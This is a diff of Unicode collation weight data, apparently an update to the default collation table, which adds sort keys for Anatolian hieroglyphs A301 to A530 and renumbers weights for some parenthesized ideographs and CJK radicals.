+14553 ; [.53B0.0020.0002] # ANATOLIAN HIEROGLYPH A301
+14554 ; [.53B1.0020.0002] # ANATOLIAN HIEROGLYPH A302
+14555 ; [.53B2.0020.0002] # ANATOLIAN HIEROGLYPH A303
+14556 ; [.53B3.0020.0002] # ANATOLIAN HIEROGLYPH A304
+14557 ; [.53B4.0020.0002] # ANATOLIAN HIEROGLYPH A305
+14558 ; [.53B5.0020.0002] # ANATOLIAN HIEROGLYPH A306
+14559 ; [.53B6.0020.0002] # ANATOLIAN HIEROGLYPH A307
+1455A ; [.53B7.0020.0002] # ANATOLIAN HIEROGLYPH A308
+1455B ; [.53B8.0020.0002] # ANATOLIAN HIEROGLYPH A309
+1455C ; [.53B9.0020.0002] # ANATOLIAN HIEROGLYPH A309A
+1455D ; [.53BA.0020.0002] # ANATOLIAN HIEROGLYPH A310
+1455E ; [.53BB.0020.0002] # ANATOLIAN HIEROGLYPH A311
+1455F ; [.53BC.0020.0002] # ANATOLIAN HIEROGLYPH A312
+14560 ; [.53BD.0020.0002] # ANATOLIAN HIEROGLYPH A313
+14561 ; [.53BE.0020.0002] # ANATOLIAN HIEROGLYPH A314
+14562 ; [.53BF.0020.0002] # ANATOLIAN HIEROGLYPH A315
+14563 ; [.53C0.0020.0002] # ANATOLIAN HIEROGLYPH A316
+14564 ; [.53C1.0020.0002] # ANATOLIAN HIEROGLYPH A317
+14565 ; [.53C2.0020.0002] # ANATOLIAN HIEROGLYPH A318
+14566 ; [.53C3.0020.0002] # ANATOLIAN HIEROGLYPH A319
+14567 ; [.53C4.0020.0002] # ANATOLIAN HIEROGLYPH A320
+14568 ; [.53C5.0020.0002] # ANATOLIAN HIEROGLYPH A321
+14569 ; [.53C6.0020.0002] # ANATOLIAN HIEROGLYPH A322
+1456A ; [.53C7.0020.0002] # ANATOLIAN HIEROGLYPH A323
+1456B ; [.53C8.0020.0002] # ANATOLIAN HIEROGLYPH A324
+1456C ; [.53C9.0020.0002] # ANATOLIAN HIEROGLYPH A325
+1456D ; [.53CA.0020.0002] # ANATOLIAN HIEROGLYPH A326
+1456E ; [.53CB.0020.0002] # ANATOLIAN HIEROGLYPH A327
+1456F ; [.53CC.0020.0002] # ANATOLIAN HIEROGLYPH A328
+14570 ; [.53CD.0020.0002] # ANATOLIAN HIEROGLYPH A329
+14571 ; [.53CE.0020.0002] # ANATOLIAN HIEROGLYPH A329A
+14572 ; [.53CF.0020.0002] # ANATOLIAN HIEROGLYPH A330
+14573 ; [.53D0.0020.0002] # ANATOLIAN HIEROGLYPH A331
+14574 ; [.53D1.0020.0002] # ANATOLIAN HIEROGLYPH A332A
+14575 ; [.53D2.0020.0002] # ANATOLIAN HIEROGLYPH A332B
+14576 ; [.53D3.0020.0002] # ANATOLIAN HIEROGLYPH A332C
+14577 ; [.53D4.0020.0002] # ANATOLIAN HIEROGLYPH A333
+14578 ; [.53D5.0020.0002] # ANATOLIAN HIEROGLYPH A334
+14579 ; [.53D6.0020.0002] # ANATOLIAN HIEROGLYPH A335
+1457A ; [.53D7.0020.0002] # ANATOLIAN HIEROGLYPH A336
+1457B ; [.53D8.0020.0002] # ANATOLIAN HIEROGLYPH A336A
+1457C ; [.53D9.0020.0002] # ANATOLIAN HIEROGLYPH A336B
+1457D ; [.53DA.0020.0002] # ANATOLIAN HIEROGLYPH A336C
+1457E ; [.53DB.0020.0002] # ANATOLIAN HIEROGLYPH A337
+1457F ; [.53DC.0020.0002] # ANATOLIAN HIEROGLYPH A338
+14580 ; [.53DD.0020.0002] # ANATOLIAN HIEROGLYPH A339
+14581 ; [.53DE.0020.0002] # ANATOLIAN HIEROGLYPH A340
+14582 ; [.53DF.0020.0002] # ANATOLIAN HIEROGLYPH A341
+14583 ; [.53E0.0020.0002] # ANATOLIAN HIEROGLYPH A342
+14584 ; [.53E1.0020.0002] # ANATOLIAN HIEROGLYPH A343
+14585 ; [.53E2.0020.0002] # ANATOLIAN HIEROGLYPH A344
+14586 ; [.53E3.0020.0002] # ANATOLIAN HIEROGLYPH A345
+14587 ; [.53E4.0020.0002] # ANATOLIAN HIEROGLYPH A346
+14588 ; [.53E5.0020.0002] # ANATOLIAN HIEROGLYPH A347
+14589 ; [.53E6.0020.0002] # ANATOLIAN HIEROGLYPH A348
+1458A ; [.53E7.0020.0002] # ANATOLIAN HIEROGLYPH A349
+1458B ; [.53E8.0020.0002] # ANATOLIAN HIEROGLYPH A350
+1458C ; [.53E9.0020.0002] # ANATOLIAN HIEROGLYPH A351
+1458D ; [.53EA.0020.0002] # ANATOLIAN HIEROGLYPH A352
+1458E ; [.53EB.0020.0002] # ANATOLIAN HIEROGLYPH A353
+1458F ; [.53EC.0020.0002] # ANATOLIAN HIEROGLYPH A354
+14590 ; [.53ED.0020.0002] # ANATOLIAN HIEROGLYPH A355
+14591 ; [.53EE.0020.0002] # ANATOLIAN HIEROGLYPH A356
+14592 ; [.53EF.0020.0002] # ANATOLIAN HIEROGLYPH A357
+14593 ; [.53F0.0020.0002] # ANATOLIAN HIEROGLYPH A358
+14594 ; [.53F1.0020.0002] # ANATOLIAN HIEROGLYPH A359
+14595 ; [.53F2.0020.0002] # ANATOLIAN HIEROGLYPH A359A
+14596 ; [.53F3.0020.0002] # ANATOLIAN HIEROGLYPH A360
+14597 ; [.53F4.0020.0002] # ANATOLIAN HIEROGLYPH A361
+14598 ; [.53F5.0020.0002] # ANATOLIAN HIEROGLYPH A362
+14599 ; [.53F6.0020.0002] # ANATOLIAN HIEROGLYPH A363
+1459A ; [.53F7.0020.0002] # ANATOLIAN HIEROGLYPH A364
+1459B ; [.53F8.0020.0002] # ANATOLIAN HIEROGLYPH A364A
+1459C ; [.53F9.0020.0002] # ANATOLIAN HIEROGLYPH A365
+1459D ; [.53FA.0020.0002] # ANATOLIAN HIEROGLYPH A366
+1459E ; [.53FB.0020.0002] # ANATOLIAN HIEROGLYPH A367
+1459F ; [.53FC.0020.0002] # ANATOLIAN HIEROGLYPH A368
+145A0 ; [.53FD.0020.0002] # ANATOLIAN HIEROGLYPH A368A
+145A1 ; [.53FE.0020.0002] # ANATOLIAN HIEROGLYPH A369
+145A2 ; [.53FF.0020.0002] # ANATOLIAN HIEROGLYPH A370
+145A3 ; [.5400.0020.0002] # ANATOLIAN HIEROGLYPH A371
+145A4 ; [.5401.0020.0002] # ANATOLIAN HIEROGLYPH A371A
+145A5 ; [.5402.0020.0002] # ANATOLIAN HIEROGLYPH A372
+145A6 ; [.5403.0020.0002] # ANATOLIAN HIEROGLYPH A373
+145A7 ; [.5404.0020.0002] # ANATOLIAN HIEROGLYPH A374
+145A8 ; [.5405.0020.0002] # ANATOLIAN HIEROGLYPH A375
+145A9 ; [.5406.0020.0002] # ANATOLIAN HIEROGLYPH A376
+145AA ; [.5407.0020.0002] # ANATOLIAN HIEROGLYPH A377
+145AB ; [.5408.0020.0002] # ANATOLIAN HIEROGLYPH A378
+145AC ; [.5409.0020.0002] # ANATOLIAN HIEROGLYPH A379
+145AD ; [.540A.0020.0002] # ANATOLIAN HIEROGLYPH A380
+145AE ; [.540B.0020.0002] # ANATOLIAN HIEROGLYPH A381
+145AF ; [.540C.0020.0002] # ANATOLIAN HIEROGLYPH A381A
+145B0 ; [.540D.0020.0002] # ANATOLIAN HIEROGLYPH A382
+145B1 ; [.540E.0020.0002] # ANATOLIAN HIEROGLYPH A383 RA OR RI
+145B2 ; [.540F.0020.0002] # ANATOLIAN HIEROGLYPH A383A
+145B3 ; [.5410.0020.0002] # ANATOLIAN HIEROGLYPH A384
+145B4 ; [.5411.0020.0002] # ANATOLIAN HIEROGLYPH A385
+145B5 ; [.5412.0020.0002] # ANATOLIAN HIEROGLYPH A386
+145B6 ; [.5413.0020.0002] # ANATOLIAN HIEROGLYPH A386A
+145B7 ; [.5414.0020.0002] # ANATOLIAN HIEROGLYPH A387
+145B8 ; [.5415.0020.0002] # ANATOLIAN HIEROGLYPH A388
+145B9 ; [.5416.0020.0002] # ANATOLIAN HIEROGLYPH A389
+145BA ; [.5417.0020.0002] # ANATOLIAN HIEROGLYPH A390
+145BB ; [.5418.0020.0002] # ANATOLIAN HIEROGLYPH A391
+145BC ; [.5419.0020.0002] # ANATOLIAN HIEROGLYPH A392
+145BD ; [.541A.0020.0002] # ANATOLIAN HIEROGLYPH A393 EIGHT
+145BE ; [.541B.0020.0002] # ANATOLIAN HIEROGLYPH A394
+145BF ; [.541C.0020.0002] # ANATOLIAN HIEROGLYPH A395
+145C0 ; [.541D.0020.0002] # ANATOLIAN HIEROGLYPH A396
+145C1 ; [.541E.0020.0002] # ANATOLIAN HIEROGLYPH A397
+145C2 ; [.541F.0020.0002] # ANATOLIAN HIEROGLYPH A398
+145C3 ; [.5420.0020.0002] # ANATOLIAN HIEROGLYPH A399
+145C4 ; [.5421.0020.0002] # ANATOLIAN HIEROGLYPH A400
+145C5 ; [.5422.0020.0002] # ANATOLIAN HIEROGLYPH A401
+145C6 ; [.5423.0020.0002] # ANATOLIAN HIEROGLYPH A402
+145C7 ; [.5424.0020.0002] # ANATOLIAN HIEROGLYPH A403
+145C8 ; [.5425.0020.0002] # ANATOLIAN HIEROGLYPH A404
+145C9 ; [.5426.0020.0002] # ANATOLIAN HIEROGLYPH A405
+145CA ; [.5427.0020.0002] # ANATOLIAN HIEROGLYPH A406
+145CB ; [.5428.0020.0002] # ANATOLIAN HIEROGLYPH A407
+145CC ; [.5429.0020.0002] # ANATOLIAN HIEROGLYPH A408
+145CD ; [.542A.0020.0002] # ANATOLIAN HIEROGLYPH A409
+145CE ; [.542B.0020.0002] # ANATOLIAN HIEROGLYPH A410 BEGIN LOGOGRAM MARK
+145CF ; [.542C.0020.0002] # ANATOLIAN HIEROGLYPH A410A END LOGOGRAM MARK
+145D0 ; [.542D.0020.0002] # ANATOLIAN HIEROGLYPH A411
+145D1 ; [.542E.0020.0002] # ANATOLIAN HIEROGLYPH A412
+145D2 ; [.542F.0020.0002] # ANATOLIAN HIEROGLYPH A413
+145D3 ; [.5430.0020.0002] # ANATOLIAN HIEROGLYPH A414
+145D4 ; [.5431.0020.0002] # ANATOLIAN HIEROGLYPH A415
+145D5 ; [.5432.0020.0002] # ANATOLIAN HIEROGLYPH A416
+145D6 ; [.5433.0020.0002] # ANATOLIAN HIEROGLYPH A417
+145D7 ; [.5434.0020.0002] # ANATOLIAN HIEROGLYPH A418
+145D8 ; [.5435.0020.0002] # ANATOLIAN HIEROGLYPH A419
+145D9 ; [.5436.0020.0002] # ANATOLIAN HIEROGLYPH A420
+145DA ; [.5437.0020.0002] # ANATOLIAN HIEROGLYPH A421
+145DB ; [.5438.0020.0002] # ANATOLIAN HIEROGLYPH A422
+145DC ; [.5439.0020.0002] # ANATOLIAN HIEROGLYPH A423
+145DD ; [.543A.0020.0002] # ANATOLIAN HIEROGLYPH A424
+145DE ; [.543B.0020.0002] # ANATOLIAN HIEROGLYPH A425
+145DF ; [.543C.0020.0002] # ANATOLIAN HIEROGLYPH A426
+145E0 ; [.543D.0020.0002] # ANATOLIAN HIEROGLYPH A427
+145E1 ; [.543E.0020.0002] # ANATOLIAN HIEROGLYPH A428
+145E2 ; [.543F.0020.0002] # ANATOLIAN HIEROGLYPH A429
+145E3 ; [.5440.0020.0002] # ANATOLIAN HIEROGLYPH A430
+145E4 ; [.5441.0020.0002] # ANATOLIAN HIEROGLYPH A431
+145E5 ; [.5442.0020.0002] # ANATOLIAN HIEROGLYPH A432
+145E6 ; [.5443.0020.0002] # ANATOLIAN HIEROGLYPH A433
+145E7 ; [.5444.0020.0002] # ANATOLIAN HIEROGLYPH A434
+145E8 ; [.5445.0020.0002] # ANATOLIAN HIEROGLYPH A435
+145E9 ; [.5446.0020.0002] # ANATOLIAN HIEROGLYPH A436
+145EA ; [.5447.0020.0002] # ANATOLIAN HIEROGLYPH A437
+145EB ; [.5448.0020.0002] # ANATOLIAN HIEROGLYPH A438
+145EC ; [.5449.0020.0002] # ANATOLIAN HIEROGLYPH A439
+145ED ; [.544A.0020.0002] # ANATOLIAN HIEROGLYPH A440
+145EE ; [.544B.0020.0002] # ANATOLIAN HIEROGLYPH A441
+145EF ; [.544C.0020.0002] # ANATOLIAN HIEROGLYPH A442
+145F0 ; [.544D.0020.0002] # ANATOLIAN HIEROGLYPH A443
+145F1 ; [.544E.0020.0002] # ANATOLIAN HIEROGLYPH A444
+145F2 ; [.544F.0020.0002] # ANATOLIAN HIEROGLYPH A445
+145F3 ; [.5450.0020.0002] # ANATOLIAN HIEROGLYPH A446
+145F4 ; [.5451.0020.0002] # ANATOLIAN HIEROGLYPH A447
+145F5 ; [.5452.0020.0002] # ANATOLIAN HIEROGLYPH A448
+145F6 ; [.5453.0020.0002] # ANATOLIAN HIEROGLYPH A449
+145F7 ; [.5454.0020.0002] # ANATOLIAN HIEROGLYPH A450
+145F8 ; [.5455.0020.0002] # ANATOLIAN HIEROGLYPH A450A
+145F9 ; [.5456.0020.0002] # ANATOLIAN HIEROGLYPH A451
+145FA ; [.5457.0020.0002] # ANATOLIAN HIEROGLYPH A452
+145FB ; [.5458.0020.0002] # ANATOLIAN HIEROGLYPH A453
+145FC ; [.5459.0020.0002] # ANATOLIAN HIEROGLYPH A454
+145FD ; [.545A.0020.0002] # ANATOLIAN HIEROGLYPH A455
+145FE ; [.545B.0020.0002] # ANATOLIAN HIEROGLYPH A456
+145FF ; [.545C.0020.0002] # ANATOLIAN HIEROGLYPH A457
+14600 ; [.545D.0020.0002] # ANATOLIAN HIEROGLYPH A457A
+14601 ; [.545E.0020.0002] # ANATOLIAN HIEROGLYPH A458
+14602 ; [.545F.0020.0002] # ANATOLIAN HIEROGLYPH A459
+14603 ; [.5460.0020.0002] # ANATOLIAN HIEROGLYPH A460
+14604 ; [.5461.0020.0002] # ANATOLIAN HIEROGLYPH A461
+14605 ; [.5462.0020.0002] # ANATOLIAN HIEROGLYPH A462
+14606 ; [.5463.0020.0002] # ANATOLIAN HIEROGLYPH A463
+14607 ; [.5464.0020.0002] # ANATOLIAN HIEROGLYPH A464
+14608 ; [.5465.0020.0002] # ANATOLIAN HIEROGLYPH A465
+14609 ; [.5466.0020.0002] # ANATOLIAN HIEROGLYPH A466
+1460A ; [.5467.0020.0002] # ANATOLIAN HIEROGLYPH A467
+1460B ; [.5468.0020.0002] # ANATOLIAN HIEROGLYPH A468
+1460C ; [.5469.0020.0002] # ANATOLIAN HIEROGLYPH A469
+1460D ; [.546A.0020.0002] # ANATOLIAN HIEROGLYPH A470
+1460E ; [.546B.0020.0002] # ANATOLIAN HIEROGLYPH A471
+1460F ; [.546C.0020.0002] # ANATOLIAN HIEROGLYPH A472
+14610 ; [.546D.0020.0002] # ANATOLIAN HIEROGLYPH A473
+14611 ; [.546E.0020.0002] # ANATOLIAN HIEROGLYPH A474
+14612 ; [.546F.0020.0002] # ANATOLIAN HIEROGLYPH A475
+14613 ; [.5470.0020.0002] # ANATOLIAN HIEROGLYPH A476
+14614 ; [.5471.0020.0002] # ANATOLIAN HIEROGLYPH A477
+14615 ; [.5472.0020.0002] # ANATOLIAN HIEROGLYPH A478
+14616 ; [.5473.0020.0002] # ANATOLIAN HIEROGLYPH A479
+14617 ; [.5474.0020.0002] # ANATOLIAN HIEROGLYPH A480
+14618 ; [.5475.0020.0002] # ANATOLIAN HIEROGLYPH A481
+14619 ; [.5476.0020.0002] # ANATOLIAN HIEROGLYPH A482
+1461A ; [.5477.0020.0002] # ANATOLIAN HIEROGLYPH A483
+1461B ; [.5478.0020.0002] # ANATOLIAN HIEROGLYPH A484
+1461C ; [.5479.0020.0002] # ANATOLIAN HIEROGLYPH A485
+1461D ; [.547A.0020.0002] # ANATOLIAN HIEROGLYPH A486
+1461E ; [.547B.0020.0002] # ANATOLIAN HIEROGLYPH A487
+1461F ; [.547C.0020.0002] # ANATOLIAN HIEROGLYPH A488
+14620 ; [.547D.0020.0002] # ANATOLIAN HIEROGLYPH A489
+14621 ; [.547E.0020.0002] # ANATOLIAN HIEROGLYPH A490
+14622 ; [.547F.0020.0002] # ANATOLIAN HIEROGLYPH A491
+14623 ; [.5480.0020.0002] # ANATOLIAN HIEROGLYPH A492
+14624 ; [.5481.0020.0002] # ANATOLIAN HIEROGLYPH A493
+14625 ; [.5482.0020.0002] # ANATOLIAN HIEROGLYPH A494
+14626 ; [.5483.0020.0002] # ANATOLIAN HIEROGLYPH A495
+14627 ; [.5484.0020.0002] # ANATOLIAN HIEROGLYPH A496
+14628 ; [.5485.0020.0002] # ANATOLIAN HIEROGLYPH A497
+14629 ; [.5486.0020.0002] # ANATOLIAN HIEROGLYPH A501
+1462A ; [.5487.0020.0002] # ANATOLIAN HIEROGLYPH A502
+1462B ; [.5488.0020.0002] # ANATOLIAN HIEROGLYPH A503
+1462C ; [.5489.0020.0002] # ANATOLIAN HIEROGLYPH A504
+1462D ; [.548A.0020.0002] # ANATOLIAN HIEROGLYPH A505
+1462E ; [.548B.0020.0002] # ANATOLIAN HIEROGLYPH A506
+1462F ; [.548C.0020.0002] # ANATOLIAN HIEROGLYPH A507
+14630 ; [.548D.0020.0002] # ANATOLIAN HIEROGLYPH A508
+14631 ; [.548E.0020.0002] # ANATOLIAN HIEROGLYPH A509
+14632 ; [.548F.0020.0002] # ANATOLIAN HIEROGLYPH A510
+14633 ; [.5490.0020.0002] # ANATOLIAN HIEROGLYPH A511
+14634 ; [.5491.0020.0002] # ANATOLIAN HIEROGLYPH A512
+14635 ; [.5492.0020.0002] # ANATOLIAN HIEROGLYPH A513
+14636 ; [.5493.0020.0002] # ANATOLIAN HIEROGLYPH A514
+14637 ; [.5494.0020.0002] # ANATOLIAN HIEROGLYPH A515
+14638 ; [.5495.0020.0002] # ANATOLIAN HIEROGLYPH A516
+14639 ; [.5496.0020.0002] # ANATOLIAN HIEROGLYPH A517
+1463A ; [.5497.0020.0002] # ANATOLIAN HIEROGLYPH A518
+1463B ; [.5498.0020.0002] # ANATOLIAN HIEROGLYPH A519
+1463C ; [.5499.0020.0002] # ANATOLIAN HIEROGLYPH A520
+1463D ; [.549A.0020.0002] # ANATOLIAN HIEROGLYPH A521
+1463E ; [.549B.0020.0002] # ANATOLIAN HIEROGLYPH A522
+1463F ; [.549C.0020.0002] # ANATOLIAN HIEROGLYPH A523
+14640 ; [.549D.0020.0002] # ANATOLIAN HIEROGLYPH A524
+14641 ; [.549E.0020.0002] # ANATOLIAN HIEROGLYPH A525
+14642 ; [.549F.0020.0002] # ANATOLIAN HIEROGLYPH A526
+14643 ; [.54A0.0020.0002] # ANATOLIAN HIEROGLYPH A527
+14644 ; [.54A1.0020.0002] # ANATOLIAN HIEROGLYPH A528
+14645 ; [.54A2.0020.0002] # ANATOLIAN HIEROGLYPH A529
+14646 ; [.54A3.0020.0002] # ANATOLIAN HIEROGLYPH A530
 2F00  ; [.FB40.0020.0004][.CE00.0000.0000] # KANGXI RADICAL ONE
-3220  ; [*0310.0020.0004][.FB40.0020.0004][.CE00.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
+3220  ; [*0317.0020.0004][.FB40.0020.0004][.CE00.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE
 3280  ; [.FB40.0020.0006][.CE00.0000.0000] # CIRCLED IDEOGRAPH ONE
 3192  ; [.FB40.0020.0014][.CE00.0000.0000] # IDEOGRAPHIC ANNOTATION ONE MARK
 1F229 ; [.FB40.0020.001C][.CE00.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E00
 319C  ; [.FB40.0020.0014][.CE01.0000.0000] # IDEOGRAPHIC ANNOTATION FOURTH MARK
-3226  ; [*0310.0020.0004][.FB40.0020.0004][.CE03.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
+3226  ; [*0317.0020.0004][.FB40.0020.0004][.CE03.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN
 3286  ; [.FB40.0020.0006][.CE03.0000.0000] # CIRCLED IDEOGRAPH SEVEN
-3222  ; [*0310.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
-1F241 ; [*0372.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
+3222  ; [*0317.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE
+1F241 ; [*0379.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
 3282  ; [.FB40.0020.0006][.CE09.0000.0000] # CIRCLED IDEOGRAPH THREE
 3194  ; [.FB40.0020.0014][.CE09.0000.0000] # IDEOGRAPHIC ANNOTATION THREE MARK
 1F22A ; [.FB40.0020.001C][.CE09.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E09
@@ -28593,7 +29213,7 @@
 1F22D ; [.FB40.0020.001C][.CE2D.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E2D
 F905  ; [.FB40.0020.0002][.CE32.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F905
 2F02  ; [.FB40.0020.0004][.CE36.0000.0000] # KANGXI RADICAL DOT
-2E80  ; [.FB40.0020.0004][.CE36.0000.0000][.0000.010B.0004] # CJK RADICAL REPEAT
+2E80  ; [.FB40.0020.0004][.CE36.0000.0000][.0000.0110.0004] # CJK RADICAL REPEAT
 2F801 ; [.FB40.0020.0002][.CE38.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F801
 F95E  ; [.FB40.0020.0002][.CE39.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F95E
 2F800 ; [.FB40.0020.0002][.CE3D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F800
@@ -28601,21 +29221,21 @@
 2F802 ; [.FB40.0020.0002][.CE41.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F802
 2F04  ; [.FB40.0020.0004][.CE59.0000.0000] # KANGXI RADICAL SECOND
 319A  ; [.FB40.0020.0014][.CE59.0000.0000] # IDEOGRAPHIC ANNOTATION SECOND MARK
-2E84  ; [.FB40.0020.0004][.CE59.0000.0000][.0000.010B.0004] # CJK RADICAL SECOND THREE
+2E84  ; [.FB40.0020.0004][.CE59.0000.0000][.0000.0110.0004] # CJK RADICAL SECOND THREE
 2E83  ; [.FB40.0020.0004][.CE5A.0000.0000] # CJK RADICAL SECOND TWO
 2E82  ; [.FB40.0020.0004][.CE5B.0000.0000] # CJK RADICAL SECOND ONE
-3228  ; [*0310.0020.0004][.FB40.0020.0004][.CE5D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
+3228  ; [*0317.0020.0004][.FB40.0020.0004][.CE5D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE
 3288  ; [.FB40.0020.0006][.CE5D.0000.0000] # CIRCLED IDEOGRAPH NINE
 F91B  ; [.FB40.0020.0002][.CE82.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91B
 2F05  ; [.FB40.0020.0004][.CE85.0000.0000] # KANGXI RADICAL HOOK
 F9BA  ; [.FB40.0020.0002][.CE86.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9BA
 2F06  ; [.FB40.0020.0004][.CE8C.0000.0000] # KANGXI RADICAL TWO
-3221  ; [*0310.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
-1F242 ; [*0372.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
+3221  ; [*0317.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO
+1F242 ; [*0379.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
 3281  ; [.FB40.0020.0006][.CE8C.0000.0000] # CIRCLED IDEOGRAPH TWO
 3193  ; [.FB40.0020.0014][.CE8C.0000.0000] # IDEOGRAPHIC ANNOTATION TWO MARK
 1F214 ; [.FB40.0020.001C][.CE8C.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E8C
-3224  ; [*0310.0020.0004][.FB40.0020.0004][.CE94.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
+3224  ; [*0317.0020.0004][.FB40.0020.0004][.CE94.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE
 3284  ; [.FB40.0020.0006][.CE94.0000.0000] # CIRCLED IDEOGRAPH FIVE
 2F07  ; [.FB40.0020.0004][.CEA0.0000.0000] # KANGXI RADICAL LID
 1F218 ; [.FB40.0020.001C][.CEA4.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4EA4
@@ -28625,11 +29245,11 @@
 2E85  ; [.FB40.0020.0004][.CEBB.0000.0000] # CJK RADICAL PERSON
 F9FD  ; [.FB40.0020.0002][.CEC0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9FD
 2F819 ; [.FB40.0020.0002][.CECC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F819
-3239  ; [*0310.0020.0004][.FB40.0020.0004][.CEE3.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
+3239  ; [*0317.0020.0004][.FB40.0020.0004][.CEE3.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT
 F9A8  ; [.FB40.0020.0002][.CEE4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9A8
-323D  ; [*0310.0020.0004][.FB40.0020.0004][.CF01.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
+323D  ; [*0317.0020.0004][.FB40.0020.0004][.CF01.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE
 32AD  ; [.FB40.0020.0006][.CF01.0000.0000] # CIRCLED IDEOGRAPH ENTERPRISE
-3241  ; [*0310.0020.0004][.FB40.0020.0004][.CF11.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST
+3241  ; [*0317.0020.0004][.FB40.0020.0004][.CF11.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST
 32A1  ; [.FB40.0020.0006][.CF11.0000.0000] # CIRCLED IDEOGRAPH REST
 2F804 ; [.FB40.0020.0002][.CF60.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F804
 FA73  ; [.FB40.0020.0002][.CF80.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA73
@@ -28660,15 +29280,15 @@
 FA72  ; [.FB40.0020.0002][.D168.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA72
 F978  ; [.FB40.0020.0002][.D169.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F978
 2F0B  ; [.FB40.0020.0004][.D16B.0000.0000] # KANGXI RADICAL EIGHT
-3227  ; [*0310.0020.0004][.FB40.0020.0004][.D16B.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
+3227  ; [*0317.0020.0004][.FB40.0020.0004][.D16B.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT
 3287  ; [.FB40.0020.0006][.D16B.0000.0000] # CIRCLED IDEOGRAPH EIGHT
 F9D1  ; [.FB40.0020.0002][.D16D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9D1
-3225  ; [*0310.0020.0004][.FB40.0020.0004][.D16D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
+3225  ; [*0317.0020.0004][.FB40.0020.0004][.D16D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX
 3285  ; [.FB40.0020.0006][.D16D.0000.0000] # CIRCLED IDEOGRAPH SIX
 2F811 ; [.FB40.0020.0002][.D177.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F811
 FA75  ; [.FB40.0020.0002][.D180.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA75
 2F0C  ; [.FB40.0020.0004][.D182.0000.0000] # KANGXI RADICAL DOWN BOX
-2E86  ; [.FB40.0020.0004][.D182.0000.0000][.0000.010B.0004] # CJK RADICAL BOX
+2E86  ; [.FB40.0020.0004][.D182.0000.0000][.0000.0110.0004] # CJK RADICAL BOX
 2F815 ; [.FB40.0020.0002][.D18D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F815
 1F21E ; [.FB40.0020.001C][.D18D.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-518D
 2F8D2 ; [.FB40.0020.0002][.D192.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D2
@@ -28687,11 +29307,11 @@
 F954  ; [.FB40.0020.0002][.D1DC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F954
 FA15  ; [.FB40.0020.0002][.D1DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA15
 2F0F  ; [.FB40.0020.0004][.D1E0.0000.0000] # KANGXI RADICAL TABLE
-2E87  ; [.FB40.0020.0004][.D1E0.0000.0000][.0000.010B.0004] # CJK RADICAL TABLE
+2E87  ; [.FB40.0020.0004][.D1E0.0000.0000][.0000.0110.0004] # CJK RADICAL TABLE
 2F81D ; [.FB40.0020.0002][.D1F5.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F81D
 2F10  ; [.FB40.0020.0004][.D1F5.0000.0000] # KANGXI RADICAL OPEN BOX
